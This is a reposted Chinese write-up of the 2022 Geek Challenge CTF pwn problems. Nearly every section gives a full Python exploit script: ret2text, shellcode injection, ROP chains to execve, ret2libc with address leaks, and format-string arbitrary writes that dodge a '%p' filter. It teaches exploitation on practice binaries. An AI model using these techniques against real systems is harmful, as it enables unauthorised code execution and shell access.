【pwn】2022 极客大挑战

news2024/11/26 20:43:55

【pwn】2022 极客大挑战

前言

又是一年的极客大挑战,又老了一岁,也只有打打新生赛才能有第一次接触ctf快乐了,现在各种比赛的pwn都是纯纯的坐牢~

本次题解的所有脚本使用的类库都是本人自己整合的一个库,github地址:https://github.com/Awoodwhale/pwn_all_in_one

nc

直接nc连接

pwn1_1

简单的ret2text

from pwntools import *

init("./pwn1_1")

backdoor = 0x401196

payload = b"b"*0x10 + b"woodwood" + p64(backdoor)

sl(payload)

ia()

pwn2_1

也是有后门的

from pwntools import *

init("./pwn2_1")

payload = b"\x00"*0x10 + b"woodwood" + p64(0x4011EF)
sl(payload)
ia()

pwn2_2

简单的ret2shellcode

from pwntools import *

init("./pwn2_2")

backdoor = 0x4040A0

sla("number:", asm(shellcraft.sh()))
sla("buf: ", b"b"*0x18 + p64(backdoor))

ia()

pwn2_3

首先获取栈地址,调试查看偏移获取ret_address的地址,在栈里写shellcode,最后用任意写把ret_address的地址写成存放shellcode的栈地址,这样就能执行shellcode了(这种方式需要保证shellocde的长度不会覆盖到canary,否则会触发canary的保护机制,当然还有一种方式,可以把stack_chk_fail的got表改成shellcode的地址)

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp2_3.py
# @Author  :  woodwhale
# @Time    :  2022/11/02 15:27:21
# -----------------------------------

from pwntools import *

# context.log_level = "debug"

init("./pwn2_3")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

pop_rdi = 0x0000000000001383

ru("0x")
stack_addr = leak(i16(rl()), "stack_addr")

sa("Give me your buf: ", asm(shellcraft.sh()))
sla("rb_write to you:", str(stack_addr + 0x118))
tmp = hex(stack_addr)[2:]

# dbg();pau()
sa(
    "Data: ",
    p8(i16(tmp[-2:]))
    + p8(i16(tmp[-4:-2]))
    + p8(i16(tmp[-6:-4]))
    + p8(i16(tmp[-8:-6]))
    + p8(i16(tmp[-10:-8]))
    + p8(i16(tmp[-12:-10])),
)


ia()

pwn3_1

不是很想ret2libc,所以使用了一个独特的gadget来进行任意地址写mov_rsi_eax

原理就是把一个bss段地址写入/bin/sh\x00,然后使用syscall调用execve("/bin/sh",NULL,NULL)

因为我找来的gadget是用的eax,所以每次只能写32位,所以这里/bin/sh\x00分了两次写,写完了之后就调用syscall就好啦!

from pwntools import *

context.log_level = "debug"
init("./pwn3_1")

pop_rax = 0x0000000000449307
pop_rdi = 0x0000000000401882
pop_rsi = 0x000000000040f1ce
pop_rdx = 0x000000000040178f
syscall = 0x00000000004012d3
syscall_ret = 0x0000000000416f04

mov_rsi_eax = 0x000000000047bc06

def fflat(lst):
    res = b""
    for l in lst:
        res += p64(l)
    return res

payload = b"b"*0x18 + fflat([
    pop_rsi, 0x4c3000,
    pop_rax, 0x6e69622f,    # /bin
    mov_rsi_eax,
    0x401D25
])

sla(";", payload)
time.sleep(1)

payload = b"b"*0x18 + fflat([
    pop_rsi, 0x4c3004,
    pop_rax, 0x68732f,  # /sh
    mov_rsi_eax,
    0x401D25
])

sla(";", payload)
time.sleep(1)

payload = b"b"*0x18 + fflat([
    pop_rdi, 0x4c3000,
    pop_rsi, 0,
    pop_rdx, 0,
    pop_rax, 59,
    syscall_ret # execve("/bin/sh", 0, 0)
])
sla(";", payload)

ia()

pwn3_2

直接ret2system,调用system("/bin/sh")

from pwntools import *

init("./pwn3_2")

sa("number", b"/bin/sh\x00")

# dbg();pau()
sla("thing", b"b"*0x18 + p64(0x000000000040101a) +p64(0x00000000004012c3) + p64(0x404090) + p64(pwnio.elf.sym["system"]))


ia()

pwn3_3

基础的ret2libc version3

使用puts泄露puts_got中存放libc中的puts地址,从而计算libc_base

获取system和binsh的地址后就可以ret2system了

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/09 21:40:48
# -----------------------------------

from pwntools import *

init("./pwn3_3")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

pop_rdi = 0x00000000004012f3
main = 0x4011F0
payload = flat(
    b"b"*0x18, 
    pop_rdi, elf.got["puts"],
    elf.sym["puts"], main
)
sla(":", payload)
puts_addr = leak(l64(), "puts_addr")
system, binsh = ret2libc(puts_addr, "puts", libc)
payload = flat(
    b"b"*0x18,
    pop_rdi, binsh,
    system
)
sla(":", payload)
ia()

pwn4_1

也是ret2libc version3,只不过这里用的是write

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/09 21:49:30
# -----------------------------------

from pwntools import *

init("./pwn4_1")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

pop_rdi = 0x00000000004012c3
pop_rsi_r15 = 0x00000000004012c1
main = 0x4011D0

payload = flat(
    b"b"*0x18, 
    pop_rdi, 1,
    pop_rsi_r15, elf.got["write"], 0,
    elf.sym["write"],
    main
)
# dbg();pau()
sla(")", payload)

write_addr = leak(l64(), "write")
system, binsh = ret2libc(write_addr, "write", libc)

payload = flat(
    b"b"*0x18, 
    pop_rdi, binsh,
    system
)
sla(")", payload)
ia()

pwn4_2

和上一题一样

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/09 21:59:23
# -----------------------------------

from pwntools import *

init("./pwn4_2")

pop_rdi = 0x0000000000401253
pop_rsi_r15 = 0x0000000000401251
main = 0x4011B0
magic = 0x4011FD

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc

payload = flat(
    b"b"*0x18,
    pop_rdi, 1,
    pop_rsi_r15, elf.got["write"],
    magic,
    elf.sym["write"],
    main
)

sla(")", payload)
write = leak(l64(), "write")
system, binsh = ret2libc(write, "write", libc)

payload = flat(
    b"b"*0x18,
    pop_rdi, binsh,
    system
)

sla(")", payload)

ia()

pwn4_3

这题比较有趣了,格式化字符串的漏洞,但是ban了格串的字符

如何绕过?

在这里插入图片描述

  • '%' + ' '*16 + 'p'

也就是用空格绕过就行了

用上面的%p获取libc地址,找到one_gadget的地址,把ret_address用fmt写成one_gadget

这里任意地址写较为复杂,需要计算一下偏移来写入,我在脚本中的write函数中使用%hhn来进行单字节的任意地址写

如下脚本提供了写rop链和写one_gadget的两种方式,不知道为啥写rop无法执行,但是one_gadget可以获取shell

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/19 15:08:11
# -----------------------------------

from pwntools import *

# context.log_level = "debug"

init("./never_get_P")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc


def write(want, addr, need_add=False):
    padding = want
    padding_two = 8 - (padding + 7) % 8
    l = (padding + 7 + padding_two) // 8 + 6
    info(f"{hex(want), hex(addr)}")
    payload = (
        b"b" * padding
        + f"%{l}$hhn".encode()
        + b"\x00" * (padding_two + (1 if need_add else 0))
        + p64(addr)
    )
    s(payload)
    time.sleep(1)


rop = False


def pwn():
    ru("0x")
    stack_addr = leak(i16(r(12)), "stack_addr")
    ru("You~cAn't~geT~P!!!!")

    sl("%137$" + " " * 13 + "p")
    ru("0x")
    libc.address = leak(i16(r(12)) - (0x7F83420290B3 - 0x7F8342002000), "libc_base")
    system_addr = libc.sym["system"]
    pop_rdi_ret = libc.address + 0x0000000000026B72
    ret = libc.address + 0x0000000000025679
    info("ret", ret)
    binsh_addr = stack_addr + 0x20 + 2
    info("binsh", binsh_addr)
    one_gadget = libc.address + 0xE6AF1
    info("one_gadget", one_gadget)

    ret_addr = stack_addr + 1080
    info("ret_addr", ret_addr)

    if rop:
        write(i16(hex(ret)[-2:]), ret_addr)
        write(i16(hex(ret)[-4:-2]), ret_addr + 1)
        write(i16(hex(ret)[-6:-4]), ret_addr + 2)
        write(i16(hex(ret)[-8:-6]), ret_addr + 3)
        write(i16(hex(ret)[-10:-8]), ret_addr + 4)

        write(i16(hex(pop_rdi_ret)[-2:]), ret_addr + 8)
        write(i16(hex(pop_rdi_ret)[-4:-2]), ret_addr + 8 + 1)
        write(i16(hex(pop_rdi_ret)[-6:-4]), ret_addr + 8 + 2)
        write(i16(hex(pop_rdi_ret)[-8:-6]), ret_addr + 8 + 3)
        write(i16(hex(pop_rdi_ret)[-10:-8]), ret_addr + 8 + 4)

        write(i16(hex(binsh_addr)[-2:]), ret_addr + 8 * 2)
        write(i16(hex(binsh_addr)[-4:-2]), ret_addr + 8 * 2 + 1)
        write(i16(hex(binsh_addr)[-6:-4]), ret_addr + 8 * 2 + 2)
        write(i16(hex(binsh_addr)[-8:-6]), ret_addr + 8 * 2 + 3)
        write(i16(hex(binsh_addr)[-10:-8]), ret_addr + 8 * 2 + 4)

        write(i16(hex(system_addr)[-2:]), ret_addr + 8 * 3, True)
        write(i16(hex(system_addr)[-4:-2]), ret_addr + 8 * 3 + 1)
        write(i16(hex(system_addr)[-6:-4]), ret_addr + 8 * 3 + 2)
        write(i16(hex(system_addr)[-8:-6]), ret_addr + 8 * 3 + 3)
        write(i16(hex(system_addr)[-10:-8]), ret_addr + 8 * 3 + 4)
        write(i16(hex(system_addr)[-12:-10]), ret_addr + 8 * 3 + 5)
    else:
        write(i16(hex(one_gadget)[-2:]), ret_addr)
        write(i16(hex(one_gadget)[-4:-2]), ret_addr + 1)
        write(i16(hex(one_gadget)[-6:-4]), ret_addr + 2)
        write(i16(hex(one_gadget)[-8:-6]), ret_addr + 3)
        write(i16(hex(one_gadget)[-10:-8]), ret_addr + 4)
        write(i16(hex(one_gadget)[-12:-10]), ret_addr + 5)

    sl("Y\x00/bin/sh\x00")

    ia()


pwn()

pwn5_1

格式化字符串泄露libc和canary地址,然后直接ret2libc就好了

#!/usr/bin/python3
# -*- coding: UTF-8 -*-
# -----------------------------------
# @File    :  exp.py
# @Author  :  woodwhale
# @Time    :  2022/11/20 12:56:47
# -----------------------------------

from pwntools import *

init("./pwn5_1")

io: tube = pwnio.io
elf: ELF = pwnio.elf
libc: ELF = pwnio.libc


s("%43$p%45$p")
ru("0x")
canary = leak(i16(r(16)), "canary")
ru("0x")
libc.address = leak(i16(r(12)) - (0x7FD962B41083 - 0x7FD962B1D000), "libc_base")

system_addr = libc.sym["system"]
binsh_addr = next(libc.search(b"/bin/sh\x00"))


payload = (
    b"b" * 0x108
    + p64(canary)
    + p64(0xdeadbeef)
    + p64(libc.address + 0x0000000000022679)
    + p64(libc.address + 0x0000000000023B6A)
    + p64(binsh_addr)
    + p64(system_addr)
)
sla("second read", payload)
ia()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/27399.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2022京东双十一全品类销售额变化情况一览:50%增长,50%下滑

面对外界的风风雨雨,京东一直稳如泰山。有人认为京东全线都出现销售额大幅下滑,有人则认为京东今年的销售额整体可观。 那么相较于去年同期,究竟有哪些品类在如此大环境下依然处于上升期,又有哪些品类遭遇滑铁卢,面临短…

Redis数据类型之list

文章目录listⅠ. 增删查改Ⅱ. 业务场景Ⅲ. 注意事项提示:以下是本篇文章正文内容,Redis系列学习将会持续更新 list ● 数据存储需求:存储多个数据,并对数据进入存储空间的顺序进行区分 ● 需要的存储结构:一个存储空间…

问题 D: 是否为有效的拓扑序列

题目描述 在一个有向无环图中,可能存在多种有效拓扑序列。以下图为例: 存在两种可行的拓扑序列:0 1 2 3 40 2 1 3 4 本题会给出一个图,以及多个序列,你来判断每一个序列是否是该图的有效拓扑序列。 输入格式 第一…

(Transferrin)TF-PEG-PCL/PLA/PAA 转铁蛋白-聚乙二醇-聚已内酯/聚乳酸/聚丙烯酸

产品名称:转铁蛋白-聚乙二醇-聚已内酯 英文名称:TF-PEG-PCL;Transferrin-PEG-PCL 纯度:95% 存储条件:-20C,避光,避湿 外观:固体或粘性液体,取决于分子量 PEG分子量可选:350、550、75…

外汇天眼:美国10月份成屋销售连续第九个月下降!利率上升和通胀飙涨吓跑潜在买家!

10月份美国房屋销售连续第9个月下滑,因利率上升和通胀飙升令买家持观望态度。 具体付 全美房地产经纪人协会(National Association of Realtors)的数据显示,9月至10月,成屋销售下降5.9%。这是自2011年12月以来的最慢速度,除了在C…

企业真实面试:父子类之间到底是怎么实例化的?

一. 问题展现 今天有粉丝向波哥询问了这样一道题目,这道题目是粉丝在面试时遇到的,如下图所示: 波哥把上图这道题目的考察重点给大家梳理一下: 有一个父类People,它有一个子类Child; 父类的的无参构造方法…

Redis——》过期删除策略

推荐链接: 总结——》【Java】 总结——》【Mysql】 总结——》【Redis】 总结——》【Spring】 总结——》【SpringBoot】 总结——》【MyBatis、MyBatis-Plus】 Redis——》过期删除策略一、过期删除策略1、定时删除2、惰性删除3、定期删…

通达信交易dll接口怎么实现程序化交易?

现在很多交易者选择量化投资与传统的股票交易之间,往往会选择自动化交易跟量化交易的比较多,毕竟现在很多可以开发出来的交易软件都具备了量化的特点,能够及时的把握更多的盈利的机会,就比如说常使用的到通达信交易dll接口就是一个…

LeetCode | 850. 矩形面积 II

我们给出了一个(轴对齐的)二维矩形列表 rectangles 。 对于 rectangle[i] [xi1, yi1, xi2, yi2], 表示第 i 个矩形的坐标, (xi1, yi1) 是该矩形 左下角 的坐标, (xi2, yi2) 是该矩形 右上角 的坐标。 计算平面中所有 rectangles…

java maven pom application 生产prod/开发dev/测试test

前言 pom 和 application.properties(application.yml)里的定义的环境不太一样, pom 是maven对应的配置文件,编译阶段使用 application.properties(application.yml) 是Spring配置文件,程序运行阶段使用 POM pom文…

每次打开百度太麻烦?用程序直接打开网页 Python实现百度划词搜索功能(获取剪切板数据)

浏览顺序实现划词功能运行错误解决问题转载声明实现划词功能 说是划词翻译,实际上我们是通过获取用户的剪切板内容,通过一系列的操作得到的。首先呢,我们就先实现如何获取剪切板内容的程序 首先先在桌面创建一个文件夹,命名为“…

pac自动代理

文章目录1.pac 定义2. 参考配置地址3. 实际配置案例3.1 编写pac文件3.1.1 return 语句有三种指令:3.1.2 内置函数3.1.2.1 dnsDomainIs3.1.2.2 shExpMatch3.1.2.3 isInNet3.1.2.4 主机ip3.1.2.5 dnsResolve3.1.2.6 isPlainHostName3.1.2.7 isResolvable3.1.2.8 dnsDo…

RabbitMQ初步到精通-第十章-RabbitMQ之Spring客户端源码

目录 第十章-RabbitMQ之Spring客户端源码 1. 前言 2. 客户端消费代码 2.1 消费的实现方式 2.2 消费中注解解释 2.3 推测Spring实现过程 3.MQ消费源码分析 3.1 集成SpringBoot 启动过程 3.2 Broker投递消息给客户端过程 3.3 客户端消费过程 4. 总结 第十章-RabbitMQ之S…

【Linux】线程安全

文章目录1.线程互斥1.1.线程间互斥的相关概念1.2互斥量1.3互斥量接口1.4互斥量实现原理2.可重入VS线程安全3.常见锁概念3.1死锁3.2常见死锁情况3.2.1情况一:忘记释放锁3.2.2情况二:线程重复申请锁3.2.3情况三:双线程多锁申请3.3锁的相关概念4…

m在VBLAST协作MIMO系统分部使用LDPC,Turbo,卷积三种信道编译码进行误码率matlab仿真

目录 1.算法描述 2.仿真效果预览 3.MATLAB部分代码预览 4.完整MATLAB程序 1.算法描述 从上面的结构可知,整个卷积编码的结构可由CRC校验,卷积编码,打孔组成,其中打孔的作用就是讲卷积编码后的码率变为所需要的码率进行发送。 …

一种在行末隐藏有效载荷的新供应链攻击技术研判

近期,Phylum检测到数十个新发布的Pypi软件包执行供应链攻击,在这些软件包中,通过隐藏的__import__将窃取程序投递到开发人员的机器上。攻击者利用代码审核者所使用IDE默认的不换行代码显示设置隐藏自身的行为与载荷,本文将就其中出…

栈简介、手写顺序栈、手写链栈和栈的应用

一. 简介 1. 什么是栈? 栈是一种只能从表的一端存取数据且遵循 "先进后出"("后进先出") 原则的线性存储结构。栈也是用来存储逻辑关系为 "一对一" 数据的线性存储结构。 C#中提供顺序栈:Stack&…

【MySQL基础】如何安装MySQL?如何将MySQL设置成服务?

目录 一、MySQL的安装 1、解压配置 2、步骤安装 💟 创作不易,不妨点赞💚评论❤️收藏💙一下 一、MySQL的安装 MySQL的安装有两种方式:解压配置和步骤安装 1、解压配置 需提前从官网直接下载压缩包,进…

【MySQL篇】第二篇——库的操作

目录 创建数据库 创建数据库案例 字符集和校验规则 查看系统默认字符集以及校验规则 查看数据库支持的字符集 查看数据库支持的字符集校验规则 校验规则对数据库的影响 操纵数据库 查看数据库 显示创建语句 修改数据库 数据库删除 备份和恢复 备份 还原 注意事…

常见磁盘调度算法总结

磁盘调度算法📖1. 最短寻道时间优先(SSTF)📖2. 电梯算法(SCAN或C-SCAN)📖3. 最短定位时间优先(SPTF)📖4. 总结由于IO的高成本,操作系统在决定发送…